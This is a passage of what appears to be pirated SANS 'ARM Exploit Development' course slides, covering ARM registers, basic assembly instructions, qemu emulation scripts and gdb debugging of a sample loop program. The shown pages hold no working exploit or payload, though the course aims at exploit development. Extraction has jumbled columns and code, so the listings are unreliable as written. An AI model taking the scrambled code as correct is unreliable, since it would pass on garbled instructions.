sscanf(argv[1], "%d", &d);
}

result = adder(a,b,c,d);

printf("Result: %d\n", result);


}

24356915 SEC661 | ARM Exploit Development 23

As exploit developers, it is important to know the limitations of a system. This includes the limitations of the
basic data types. Many types of software vulnerabilities are based on incorrect usage of data types. When a
value that is too high is copied into a data type that cannot hold it, that behavior is undefined and usually

Paul Erwin
results in the truncation or rolling over of the value. By knowing what the size limitations are, researchers can
look for issues that may have gone unnoticed by the developer.

Here we some examples of how variables are defined in the adder program. We will look at this program later
on, but for now, take note of how the variables are defined and know that they are limited to the range shown
in the chart.

Can you spot the bug in this code?

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 23


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab
Lab 11.1 | Working
| Working with ARMwith ARM

09b91222e5d2d3d668cf8e52ec5d35ba Duration Time: 15 Minutes

Most of us aren't running ARM natively (yet). Cross-compilers allow us to compile programs for ARM while
working in another architecture, such as x86_64. Having a fundamental understanding of how programs are
built gives researchers an advantage for understanding bugs in code. Emulators such as qemu allow us to run
single binaries or entire operating systems on non-native architecture.

OBJECTIVES PREPARATION

micede1865@wii999_com
• Cross-compiling ARM binaries
• Emulating ARM on non-native platform
This lab will be done in the Hammerhead virtual
machine.

See the SANS SEC661 workbook for detailed lab


instructions.

Tools used: arm-linux-gnueabi-gcc, qemu-arm

24356915 SEC661 | ARM Exploit Development 24

For detailed lab instructions, see the SANS SEC661 workbook.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

24 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 25

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 25


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

ARM Assembly
09b91222e5d2d3d668cf8e52ec5d35ba
Looking at ARM assembly can be pretty daunting at first. But it can also be very
empowering. Assembly instructions are the very core of what is happening on a
system. When we are working at this level, we can make the system do exactly what
micede1865@wii999_com
we tell it to do. We start with some common instructions and see how they are used
in an actual program. You may be overwhelmed at first. Learning assembly is a
significant undertaking, but in exploit development, the reward is worth the
investment.

24356915 SEC661 | ARM Exploit Development 26

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

26 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Assembly Overview

09b91222e5d2d3d668cf8e52ec5d35ba
• Low-level programming language simple_loop.s

• Specific to the processor type ...


main:
push {r7, lr}

• Corresponds with machine code sub


add
sp, sp, #16
r7, sp, #0
str r0, [r7, #4]
• Fixed width of either 2 (Thumb) str r1, [r7]

micede1865@wii999_com
or 4 (ARM) bytes
movs
str
movs
str
r3, #10
r3, [r7, #8]
r3, #0
r3, [r7, #12]
...

24356915 SEC661 | ARM Exploit Development 27

ARM assembly is a low-level programming language that is human readable (although it may not seem like it
at first). An assembly language is specific to its processor type. For example, ARM instructions cannot be
assembled to run on an x86 chip. This is different from a higher layer of code like C that can be compiled for

Paul Erwin
different types of systems. The human readable ARM instructions map directly to object code which can be
ran directly on a system.

ARM is a RISC (Reduced Instruction Set Computing) architecture which means that there is a relatively
smaller set of instructions that execute one per clock-cycle and must be combined to perform more complex
tasks that might be combined into a single instruction with CISC (Complex Instruction Set Computing).

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 27


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Learning ARM Assembly

09b91222e5d2d3d668cf8e52ec5d35ba
• Setup an environment
• Practice
• Reverse engineering
• Writing shellcode
• CTFs
micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 28

Assembly language is not an easy thing to learn and there is no way you can become an expert from sitting
through a 2-day course. It’s one of those things that takes time. It can be intimidating at first, but as you will
see there are some basic fundamentals that can give you a head start. The hammerhead virtual machine is

Paul Erwin
designed to provide the student with an ARM environment where they can practice and develop these
fundamental skills.

We will go over some ARM instructions and then dynamically step through them to see what is actually
happening and observe the effects on the system. Now that you have an ARM environment, we can practice
by taking a look at some assembly and doing some basic reverse engineering. In section 2, we will be working
with some ARM shellcode which is another great way to get comfortable with ARM.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
http://www.peter-cockerell.net/aalp/resources/pdf/all.pdf

live

28 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Registers (32-bit)

09b91222e5d2d3d668cf8e52ec5d35ba
• 13 General Purpose Registers
32-BIT ARM REGISTERS
R0 – Return Value
R1
(R0-R12) R2
R3
• 3 Special Purpose Registers R4
(SP, LR, PC) R5
R6
R7
• Status Registers (CPSR, SPSR)
micede1865@wii999_com
• Like addresses, registers are
R8
R9
R10
either 32-bit or 64-bit R11
R12
SP – Stack Pointer
LR – Link Register
PC - Program Counter

24356915 SEC661 | ARM Exploit Development 29

There are over 30 total registers, depending on the specific ARM architecture, but we will be primarily
focusing on R0-R12, sp, lr, and PC. The SP or stack pointer register always points to the top of the stack. The
LR or link register can be used as a saved return address. It is used extensively when branching to and

Paul Erwin
returning from functions. The PC or program counter register always points to the next assembly instruction to
be executed.

If you are familiar with x86, PC in ARM corresponds to EIP and SP in ARM corresponds to ESP. 32-bit (4-
byte) ARM registers hold 32-bit values, so each register can hold one memory address.

Reference:
https://www.keil.com/support/man/docs/armasm/armasm_dom1359731128950.htm

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 29


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM and THUMB Instructions

09b91222e5d2d3d668cf8e52ec5d35ba
• ARM processor can execute either ARM (4 byte) or
THUMB (2 byte) instructions

ARM Instructions Thumb Instructions


(Address) (Machine code) (Assembly) (Address) (Machine code) (Assembly)

micede1865@wii999_com
0x00010540 00482de9 push {fp, lr} 0x00010480 80b5 push {r7, lr}
0x00010544 04b08de2 add fp, var_4h 0x00010482 84b0 sub sp, 0x10
0x00010548 20d04de2 sub sp, sp, 0x20 0x00010484 00af add r7, var_0h
0x0001054c 20000be5 str r0, [var_20h] 0x00010486 7860 str r0, [var_4h]
0x00010550 24100be5 str r1, [var_24h] 0x00010488 3960 str r1, [r7]
0x00010554 b0309fe5 ldr r3, [r7] 0x0001048a 0a23 movs r3, 0xa
0x00010558 003093e5 ldr r3, [r3] 0x0001048c fb60 str r3, [var_ch]
0x0001055c 08300be5 str r3, [var_8h] 0x0001048e 0023 movs r3, 0
0x00010560 0330a0e3 mov r3, 3 0x00010490 bb60 str r3, [var_8h]
0x00010564 14300be5 str r3, [var_14h] 0x00010492 02e0 b 0x1049a

4-byte width

24356915 2-byte width

SEC661 | ARM Exploit Development 30

ARM uses 4-byte fixed width instruction sets but can also execute a 2-byte instruction set called THUMB that
was originally designed to reduce code density.

Paul Erwin
The images in this slide show the main function for the adder and simple_loop programs, respectively.
These files can be found in the labs folder. Notice the 4-byte and 2-byte machine code size and how the
addresses increment by either 4 or 2 bytes based on the instruction type. The machine code (or opcode)
corresponds to, and is a direct translation of, the assembly representation of the instruction.

"ARM was approached by Nokia. Nokia sort of wanted to build a mobile phone around the processor, and
Nokia was scared about the code density of the 32-bit design, so ARM built a new instruction decoder called
THUMB on top of the machine, so thumb instructions are only 16 bits in size, and an arm processor with the

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
original thumb system decodes thumb instructions into ARM instructions and then executes them on an ARM
data path (so this is THUMB 1) and with thumb ARM were able to convince nokia that they have good
enough code density and so they got into a Nokia mobile phone and then into Nokia system on chips and then
become deeply embedded in the mobile phone industry” – Sophie Wilson

Reference:
ARM inventor: Sophie Wilson (Part 1)
https://www.youtube.com/watch?v=jhwwrSaHdh8

live

30 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Assembly – MOV/MOVS

09b91222e5d2d3d668cf8e52ec5d35ba
mov r3, #4 movs r6, #0xa

Mnemonic Operands Mnemonic Operands

micede1865@wii999_com
• “Move 4 into the r3 register”
• For mov instructions, work right
• “Move 0xa (10 decimal) into the r6 register”
• The “s” is an optional suffix which will update
to left with the operands the condition flags after the instruction is
• After this instruction, r3 will hold executed
the value 4 • After this instruction, r6 will hold the value 0xa

Example 1 Example 2

24356915 SEC661 | ARM Exploit Development 31

The ARM instruction is broken into two parts, the mnemonic and the operands. As shown in these
examples, the mov and movs mnemonics are used to move values into a register. They work from right to left
and values can be represented as either decimal or hexadecimal depending on the tool you are working with.

Paul Erwin
The movs instruction uses an “s” suffix that tells the system to update the conditional flags after the
instruction is executed. It is common to see a base instruction with a suffix that specifies an additional
characteristic.

Reference:
https://www.keil.com/support/man/docs/armasm/armasm_dom1361289878994.htm

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 31


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Assembly – ADD

09b91222e5d2d3d668cf8e52ec5d35ba = + +=

add r7, sp, #0xa add r3, #6

Mnemonic Operands Mnemonic Operands

micede1865@wii999_com
• “Add 0xa to sp and store the result in r7”
• After this instruction, r7 will hold the same
• “Add 6 to r3 and store the result in r3”
• After this instruction, r3 will hold the value of
value as sp+0xa (10) 6 plus the previous value of r3
Example 1 Example 2

24356915 SEC661 | ARM Exploit Development 32

The add instruction is similar as it works from right to left. This mnemonic can have a varying number of
operands, but the idea is the same. Start adding from right to left and store in the leftmost register. If you look
at the resource below, you can drill down into all the intricacies of the add instruction. Typically, you don’t

Paul Erwin
have to go into a whole lot of depth, but if you come to an instruction and are not quite sure what it will do or
what certain suffixes mean, you can usually find good documentation on the topic.

Reference:
https://www.keil.com/support/man/docs/armasm/armasm_dom1361289861747.htm

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

32 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Assembly – LDR (Load Register) (1)

09b91222e5d2d3d668cf8e52ec5d35ba
ldr r3, [r1] 0x10000000: 0x41414141
0x10000004: 0x42424242
0x10000008: 0x43434343
0x1000000C: 0x44444444
0x10000010: 0x45454545

micede1865@wii999_com Memory Example

• “Load the r3 register with the value that r1 points to”


• In this instruction, r1 is treated as an address
• For example, if r1 held the value of 0x10000000, and
the memory at that address was the same as in the
example above, after this instruction executed, r3
would hold 0x41414141

24356915 SEC661 | ARM Exploit Development 33

The ldr or load register instruction will retrieve a value from the registers on the right and load that value
into the register on the left (the first operand). When you see brackets in ARM assembly, this typically means
to dereference or fetch the value pointed to by what's in the brackets.

Paul Erwin
This instruction could be interpreted as “dereference r1 and store the value in r3” or
“load the r3 register with the value that r1 points to.”

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 33


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Assembly – LDR (Load Register) (2)

09b91222e5d2d3d668cf8e52ec5d35ba
ldr r4, [r2, #8] 0x10000000: 0x41414141
0x10000004: 0x42424242
0x10000008: 0x43434343
+4 0x1000000C: 0x44444444
+8 0x10000010: 0x45454545

micede1865@wii999_com Memory Example

• “Load the r4 register with the value that r2 plus 8 points to”
• r2 is treated as a base address, 8 is added to this address prior to
retrieving the data
• For example, if r2 held the value of 0x10000008, and the memory
at that address was the same as in the example above, after this
instruction executed, r4 would hold 0x45454545

24356915 SEC661 | ARM Exploit Development 34

With the ldr instruction, you can have more than one value in the brackets. When this occurs, the system will
combine these values with the leftmost value being the base and the additional values making up the offset. In
this example we add 8 (offset) to the base address held by r2, but there can be more than one offset within the

Paul Erwin
brackets. If you have more than one offset within the brackets, combine the base with all of the offsets to get
the result.

It is also worth noting that offsets can hold negative values. In that situation, the offset would be subtracted
from the base before fetching the value.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

34 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


What Do These Instructions Do?

09b91222e5d2d3d668cf8e52ec5d35ba
sub r1, r3, #8
str r3, [r4, #4]
micede1865@wii999_com

24356915 SEC661 | ARM Exploit Development 35

By now, you are probably starting to recognize a pattern. Here are some more ARM instructions. Without
looking at the answers below, what do you think these instructions do?

Answer:
Paul Erwin
Subtract 8 from r3 and store the result in r1
Store the contents of r3 in the address r4 +4 The order of operation is different than the ldr instruction. We
copy the contents of the operand on the left (r3) into the base (r4) + offset (4) within the braces.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 35


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Assembly Review

09b91222e5d2d3d668cf8e52ec5d35ba Assembly Review simple_loop.s

mov r3, #4 ...


add r7, sp, #0xa main:
ldr r3, [r1] push {r7, lr}
ldr r3, [r2, #4] sub sp, sp, #16
mov r8, sp add r7, sp, #0
mov r0, [r1, 8] str r0, [r7, #4]
sub r1, r3, #8 str r1, [r7]

micede1865@wii999_com str r3, [r4, #4]

Examples
...
movs
str
movs
str
r3, #10
r3, [r7, #8]
r3, #0
r3, [r7, #12]

Assembly from simple_loop program

24356915 SEC661 | ARM Exploit Development 36

So far, we have looked at instructions similar to those listed above. With the exception of the push instruction
at the very beginning, we already know what the instructions at the beginning of the main function in simple
loop do. As you look at more and more ARM Assembly, you will begin to notice that you see the same
instructions over and over again.
Paul Erwin
It’s ok if you find yourself having to look back and verify what you think certain instructions do. It takes a
while to get used to reading ARM assembly, but the more you do it, the easier it gets.

Reference:
https://developer.arm.com

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

36 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 37

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 37


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

Emulating ARM
09b91222e5d2d3d668cf8e52ec5d35ba
While the number of laptops and desktops with ARM processors is rising, many of us
are not running on ARM systems (yet). Being able to emulate and run ARM binaries on
micede1865@wii999_com
non-ARM systems allows researchers to verify and test what they are learning through
dynamic analysis. Being able to emulate ARM systems allows us to stand up target
environments, debug processes, troubleshoot shellcode, or even set up custom fuzzers.
This section provides a quick overview of how we emulate ARM.

24356915 SEC661 | ARM Exploit Development 38

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

38 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Running ARM

09b91222e5d2d3d668cf8e52ec5d35ba
• Observe dynamic functionality
• Confirming assumptions about how the program works
• Debugging
• Logging
• Tracing

micede1865@wii999_com
• Modifying and recompiling
• Fuzzing / automating test cases

24356915 SEC661 | ARM Exploit Development 39

Working with programs dynamically can take away some of the guess work that comes with just doing static
analysis. Being able to actually run ARM programs allows us to confirm what we learn from static analysis.
We don’t always have ARM hardware at our disposal, so being able to emulate ARM is a good thing to know

Paul Erwin
how to do. As far as exploit development, being able to run ARM helps confirm assumptions, allows us to
debug to step through and examine memory. If a program has any sort of logging, we might be able to
leverage this to see what is happening according to log output. If we are researching a target binary or tool and
have the source code, it may be helpful to compile and run the program dynamically with any changes that we
want to implement.

If we can run the target binary in ARM, it may be possible to run it in a fuzzer. Different fuzzers, such as AFL,
can take advantage of emulation tools such as qemu.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 39


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Emulating ARM

09b91222e5d2d3d668cf8e52ec5d35ba
• Full system ubuntu:~/labs/simple_loop$ apt show qemu
...

emulation QEMU is a fast processor emulator: currently the package


supports ARM, CRIS, i386, M68k (ColdFire), MicroBlaze, MIPS,

• User mode PowerPC, SH4, SPARC and x86-64 emulation. By using dynamic
translation, it achieves reasonable speed while being easy

emulation to port on new host CPUs. QEMU has two operating modes:

• User mode emulation: QEMU can launch Linux processes

micede1865@wii999_com
• Partial emulation
• Unicorn, Ghidra, •
compiled for one CPU on another CPU.

Full system emulation: QEMU emulates a full system,


including a processor and various peripherals. It enables
Radare2, etc. easier testing and debugging of system code. It can also
be used to provide virtual hosting of several virtual
machines on a single server.

24356915 SEC661 | ARM Exploit Development 40

There are a few different ways that we can emulate ARM. With full system emulation, qemu (which stands for
“quick emulator”) provides us with a fully functional interactive system. We can watch the system boot up and
interact with it through its console. The qemu Linux systems that we will be running in our lab environment

Paul Erwin
will appear as if they are running on ARM hardware and will be accessed via ssh. Qemu also provides a way
to execute standalone processes via qemu-arm, its user mode emulator. Qemu supports other architectures and
graphical interfaces, but we will not be needing this for our labs.

Partial emulation is also available. By partial emulation, we are referring to only emulating part of a binary,
not the whole process, much less an entire operating system. Sometimes emulation of a partial version of a
binary is beneficial when dealing with uncommon file types, like the ones you may find in a large firmware
image. Both Radare2 and Unicorn can be used to do this and Ghidra also offers partial emulation of binaries

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
through its extensive API.

Reference:
qemu.org

live

40 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Qemu Command Breakdown: qemu-system-arm

09b91222e5d2d3d668cf8e52ec5d35ba
• Qemu startup scripts qemu armv7 qemu armv7 qemu aarch64

• start_mako.sh mako dogfish tiger


• start_dogfish.sh
• start_tiger.sh
hammerhead

micede1865@wii999_com
nemo@hammerhead:~/qemu/mako$ cat start_mako.sh vmware x86_64
#!/bin/bash

qemu-system-arm \
-kernel ./boot/vmlinuz \
-initrd ./boot/focal-server-cloudimg-armhf-initrd-generic-lpae \
-drive file=./mako.img,format=qcow2 \
-append "rw root=/dev/vda2 ip=192.168.2.10:::::enp0s1" \
-no-reboot \
-nographic \
-m 1024M \
-M virt-2.8 \
-nic tap,script=./conf/qemu-myifup.sh

24356915 SEC661 | ARM Exploit Development 41

The hammerhead virtual machine is running on vmware as an x86_64 system. Within hammerhead, we will
emulate ARM virtual machines using qemu-system-arm’s full system emulation. Startup scripts are provided to
boot the ARM systems, but when you first venture out on your own, some of these parameters can be confusing.

Paul Erwin
A sample script with some additional comments is provided below.

qemu-system-arm // We are emulating the full system, so this is the command


we use (as opposed to qemu-arm)
-kernel ./boot/vmlinuz // This is the kernel we want to use
-initrd ./boot/focal-server-cloudimg-armhf-initrd-generic-lpae // This is the
initrd (initial ramdisk) to use during system startup

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
-drive file=./mako.img,format=qcow2 // We are specifying the disk image (mako.img) and
that it is in qcow2 format
-append "rw root=/dev/vda2 ip=192.168.2.10:::::enp0s1“// Startup kernel parameters,
here we specify the root partition and the ip address we want the system to use
-no-reboot //
-nographic //
-m 1024M // Use 1 gb or 1024 mb of memory
-M virt-2.8 // This is the machine type or hardware to emulate
// This script sets up the network
-nic tap,script=./conf/qemu-myifup.sh
live
connectivity between the host and the vm. An example of this script can be viewed in the hammerhead vm.

Reference:
man qemu-system-arm

© 2021 Hungry Hackers, LLC 41


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 42

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

42 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

Debugging ARM
09b91222e5d2d3d668cf8e52ec5d35ba
Having debug capability on a target is a game changer. Being able to control a running
program, stop it at will and examine memory, takes a lot of the guesswork out of
exploit development. Whether it’s troubleshooting an overflow that is getting cut

micede1865@wii999_com
short due to a bad character or looking to see how many bytes you need to
overwrite a function pointer, debugging can save you a great amount of time and effort.
Static analysis is good, but being able dynamically run a program, set breakpoints, and
control the state is a huge benefit for both researchers and developers.

24356915 SEC661 | ARM Exploit Development 43

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 43


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Debugging

09b91222e5d2d3d668cf8e52ec5d35ba
• Connecting to a target process in order to observe and
interact with it at runtime
• Connect by
target
• Starting a new process in the debugger gdb
process
• Attaching to a running process

micede1865@wii999_com
• Benefits
• Controlled progression through the code
• Breakpoints Debugging is really, really
• Single stepping nice to have for exploit
development...really nice.
• Examine and modify registers and memory
• Change runtime configuration
24356915 SEC661 | ARM Exploit Development 44

Debugging can refer to “finding and eliminating bugs”, but it is better known to security researchers as a
technique for attaching to a process and observing it as it is running. When we debug a target program, we can
start and stop it at will and observe the registers and memory at different times during execution. Being able to

Paul Erwin
single step and set breakpoints is really nice for exploit development. We can observe the state of the program
while stepping through our exploit to ensure the memory corruption occurs as we expect and even walk
through our shellcode step by step. Many debuggers also offer scripting, conditional breakpoints and many
other helpful features.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

44 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


GNU Debugger - GDB

09b91222e5d2d3d668cf8e52ec5d35ba
• Open source and widely supported
• Multiple architectures
Common GDB Commands
• Client/server design run
break *<address>
# Start running a loaded program
# Set breakpoint at address (aka “b”)
break name # Set breakpoint at symbol (aka “b”)
• Python support info registers # Display registers (aka “i r”)

micede1865@wii999_com
• GEF Plugin
• Exploit development
backtrace
disassemble <address>
disassemble <name>
stepi
# Show stacktrace (aka “bt”)
# Show assembly starting at address
# Show assembly starting at symbol
# Step single instruction (aka “si”)
x/<format><address> # Examine memory using format,
• Enhanced visualization starting at address
info proc mappings # Display memory map
• Enabled in ~/.gdbinit help <info/set/*> # Show help for different commands

See the cheat sheet in the workbook for more gdb commands

24356915 SEC661 | ARM Exploit Development 45

When it comes to Linux, the GNU Project Debugger also known as gdb is the debugger of choice for many
security professionals. It is a robust tool that supports multiple architectures (gdb-multiarch). We will be
using gdb quite a bit throughout the remainder of this course. Another useful benefit is that gdb offers a

Paul Erwin
client/server architecture which we will visit later in this section.

GEF (GDB Enhanced Features, pronounced “jeff”) is a python plugin for gdb that makes things a little easier
while working in gdb. It does this by displaying useful information and offering additional commands which
can be viewed by running “gef help” while debugging in gdb.

If you want to just use gdb without gef, you can disable the plugin by commenting out the only line
in the ~/.gdbinit file. The contents of the line entry may look different on your system. When

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
you prepend the “source” line with a “#”, character, it will no longer include the gef plugin when gdb
is launched.

ubuntu:~/labs/simple_loop$ cat ~/.gdbinit


source /home/john/.gdbinit-gef.py

Comment out the gef plugin by adding a ‘#’ at the beginning of the line.

ubuntu:~/labs/simple_loop$ cat ~/.gdbinit


#source /home/john/.gdbinit-gef.py live
There is a set of core commands that are common when debugging with gdb. Additional commands can be
learned by running “help” within gdb. Commands can often be shortened for example, instead of typing info
registers, you can type “i r” and instead of typing “break *0x10001001”, you can type b *0x10001001. Tab
completion also works. All gdb commands work with the gef plugin running as well.

Reference:
https://www.gnu.org/software/gdb/
https://gef.readthedocs.io/en/master/
© 2021 Hungry Hackers, LLC 45
https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Breakpoints

09b91222e5d2d3d668cf8e52ec5d35ba
• Pause a running program at a designated address
• From here you can observe and modify program state
• register values, local variables, the stack, heap memory, etc.

GDB Breakpoint Commands

micede1865@wii999_combreak *<address>
break <name>
info breakpoints
# Set breakpoint at address (aka “b”)
# Set breakpoint at a symbol name
# Display breakpoints
enable/disable <#> # Enable/disable a breakpoint by number
delete <#> # Delete breakpoint by number
delete # Delete all breakpoints

24356915 SEC661 | ARM Exploit Development 46

gef➤ b *0x1049e
help break

Example:
Paul Erwin
GEF does a nice job of displaying a lot of information automatically.

We can also use conditional breakpoints.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

46 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Walkthrough – Debugging simple_loop

09b91222e5d2d3d668cf8e52ec5d35ba (gdb) disas main


Dump of assembler code for function main:
0x00010480 <+0>:
0x00010482 <+2>:
0x00010484 <+4>:
push
sub
add
{r7, lr}
sp, #16
r7, sp, #0
breakpoint
0x00010486 <+6>: str r0, [r7, #4]
0x00010488 <+8>: str r1, [r7, #0]
0x0001048a <+10>: movs r3, #10
Commands (mako virtual machine) 0x0001048c <+12>: str r3, [r7, #12]
0x0001048e <+14>: movs r3, #0
0x00010490 <+16>: str r3, [r7, #8]
cd ~/labs/simple_loop/ 0x00010492 <+18>: b.n 0x1049a <main+26>
gdb ./simple_loop_static.arm 0x00010494 <+20>: ldr r3, [r7, #8]
0x00010496 <+22>: adds r3, #1
b *0x00010482

micede1865@wii999_com
gef config context.layout "regs code"
run
si (multiple times)
0x00010498 <+24>: str
0x0001049a <+26>: ldr
0x0001049c <+28>: ldr
0x0001049e <+30>: cmp
0x000104a0 <+32>:blt.n
r3, [r7, #8]
r2, [r7, #8]
r3, [r7, #12]
r2, r3
0x10494 <main+20>
x/4w $r7 (examine what r7 points to) 0x000104a2 <+34>: ldr r1, [r7, #8]
0x000104a4 <+36>: ldr r3, [pc, #16]
0x000104a6 <+38>: add r3, pc
0x000104a8 <+40>: mov r0, r3
0x000104aa <+42>: bl 0x14dac <printf>
0x000104ae <+46>: movs r3, #0
0x000104b0 <+48>: mov r0, r3
0x000104b2 <+50>: adds r7, #16
0x000104b4 <+52>: mov sp, r7

24356915
0x000104b6 <+54>: pop {r7, pc}

SEC661 | ARM Exploit Development 47

This walkthrough is to be done in the mako virtual machine.

We will be debugging the simple_loop_static.arm binary with gdb. Once gdb has loaded the binary,

Paul Erwin
we set a breakpoint at 0x10482. This breakpoint address is just inside the main function. Once it is hit, we will
single step using the ‘si’ command and observe changes to the running process.

Note: When setting the breakpoint below, the address may vary, but we want to break on the ‘sub sp, 16’
instruction near the beginning of the main function.
b *0x00010482

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 47


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


───────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0xbefffb94 → 0xbefffcc8 → "/home/john/sans-661-labs/simple_loop/simple_loop_s[...]"
$r2 : 0xbefffb9c → 0xbefffd00 → "SHELL=/bin/bash"

09b91222e5d2d3d668cf8e52ec5d35ba $r3 : 0x00010481 → <main+1> push {r7, lr}


$r4 : 0xbefffa68 → 0x9959153d
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefffad0 → 0x00000000
$sp : 0xbefffa48 → 0x00000000
$lr : 0x00010649 → <__libc_start_main+397> bl 0x14718 <exit>
$pc : 0x00010482 → <main+2> sub sp, #16

micede1865@wii999_com
$cpsr: [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────── code:arm:THUMB ────
